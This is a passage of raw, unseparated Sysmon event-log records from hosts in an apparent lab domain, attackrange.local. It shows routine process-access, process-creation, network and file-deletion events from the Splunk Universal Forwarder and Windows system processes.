Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-734B-613B-0C05-00000000F101}1016C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016882Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.576{625C326B-734B-613B-0C05-00000000F101}1016C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000052888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:29.180{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59630-false10.0.1.12-8089- 23542300x800000000000000052891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:32.916{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=99FF6D5D356B3626D811BF70852C9F9C,SHA256=EBCB2BE73F91B1D4495A261BCD39D015261FE7B5574E4B2597874E5A6C98E58A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016925Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.904{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D0B1042EB264A70AF22AB3E34100108,SHA256=44EEA6B80C9E6AE6CDD029EC0228094083E73B948C074BC2CAB5F372B152C90D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:32.079{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=CB388F12CE61F2714206E94EBCB892D6,SHA256=F019E7B7395273EB36D87CB7170988D9FB151C573B670F9821E89962E01A295B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016924Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-734C-613B-0E05-00000000F101}2460C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016923Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016922Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016921Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016920Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016919Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016918Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016917Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016916Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016915Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016914Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-734C-613B-0E05-00000000F101}2460C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016913Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-734C-613B-0E05-00000000F101}2460C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016912Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.607{625C326B-734C-613B-0E05-00000000F101}2460C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016911Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.591{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D13A5A8E8D2486F9BD2A91C94FE51E50,SHA256=C5119E7F52241CAB4D33119F8B99145CB25D81AAF0451C20E346F719A06B4BBF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016910Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.591{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=EBC5475FA6BD90FB38AB177DB1D4619C,SHA256=BF137B3CE4D4E6BFF861CE772A18170C9411827F84182E5B432006AFE344DCBA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016909Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.420{625C326B-734C-613B-0D05-00000000F101}34241720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016908Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-734C-613B-0D05-00000000F101}3424C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016907Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016906Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016905Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016904Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016903Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016902Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016901Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 